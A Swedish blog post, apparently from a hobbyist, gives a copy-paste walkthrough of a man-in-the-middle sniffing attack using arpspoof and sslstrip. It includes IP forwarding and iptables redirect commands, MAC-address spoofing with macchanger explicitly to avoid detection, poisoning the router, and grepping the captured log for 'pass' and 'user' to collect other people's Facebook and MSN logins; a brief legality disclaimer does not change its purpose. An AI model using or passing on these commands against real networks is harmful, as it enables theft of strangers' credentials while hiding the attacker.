Fredag apr 22

Vad går vi igenom idag? jo vi ska lära oss hur vi "sniffar"
alltså vi ska lära oss hur vi avlyssnar datortrafiken mellan olika datorer osv.
Men först och främst!!

Återigen så förväntar jag mig stöd ifrån er och hoppas ni kan göra det igen :) (läs dom 2 föregångna posterna om du inte vet vad jag menar) Tack på förhand alla!

Vi kommer gå igenom en enkel typ av sniffing attack, vi kommer använda oss av "arpspoof" och "sslstrip"
er på backtrack har det redan, er på ubuntu  måste ni skaffa dom via apt-get install och sslstrip genoms deras hemsida ( se tidigare post )

Så vad vi kommer göra är att förgifta nätverket och göra så den skickar genom alla paket genom våran dator. Vi kommer snappa upp saker såsom Facebook konton msn konton osv, alltså i stort sätt alla som loggar in på något i nätverket kommer inte veta om att vi får deras information.

vi kommer skicka ett slags "gift" till routern så att vi kan få paketen.
Först och främst måste vi ändra 2 små saker.. så vi kan göra en "portforwarding"

kopiera och klistra in:
echo "1" > /proc/sys/net/ipv4/ip_forward

Kopiera och klistra in:
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000


Det här är ett måste om ni ska kunna lyckas : >


Och jag säger det igen att det inte är lagligt att göra det här på andras nätverk och jag kommer nu visa er ett sätt hur ni döljer eran Mac-adress så ni inte blir upptäckta, Ni får själv stå för om ni gör något ni inte får och jag ska inte stå för era dumma handlingar.


För att gömma eran mac-adress så skriver ni: 
ifconfig wlan0 down
macchanger -s wlan0
macchanger -m 00:11:22:33:44:55 wlan0
ifconfig wlan0 up
Det ni nu gör är att ni fejkar eran nuvarande adress till "00:11:22:33:44:55", ni kan ändra den hu ni vill det spelar ingen roll.


sslstrip är ett utmärkt verktyg och läs gärna om det från deras hemsida så satt säga http://www.thoughtcrime.org/software/sslstrip/

Det är till för att fånga diverse http-trafik.

ni skriver nu i terminalen:
sslstrip -w randomname
"randomname är bara output namnet för själva filen vi kommer lagra alla lösenord osv i"

Öppna en ny terminal och skriv föjlande:
arpspoof -i wlan0 192.168.0.1 exempelvis
"(-i står för interface och ni ska nu välja erat interface)
(192.168.0.1 är bara ett exempel och det ska stå eran gateway adress där vilket du kan hitta om du skriver "route-n")

nu ska ni ha 2 fönster upp varav ett är sslstrip och andra arpspoof.
Ta en kopp kaffe eller gå"ut och gå och låt det här köras ett tag. minst 10minuter för det längre du väntar dess bättre saker kan du snappa upp :D

när ni nu vill avsluta era saker så kryssa ner allt bara och öppna eran fil där ni sparade era saker (min var tex randomname)
öppna den med ett vanligt textprogram såsom "kate")
tryck sedan F3 eller CTRL+F så ni kan söka i det här överdrift länga textdokument, sökordet ska/kan vara "pass" för då hittar ni oftast både lösenord och användarnamn, annars kan ni skriva "user".

Det borde vara allt! lämna en kommentar och stöd mig som jag sagt från tidigare inlägg :)
Ha en förjävla bra fredag!

MvH/

Ninja ;)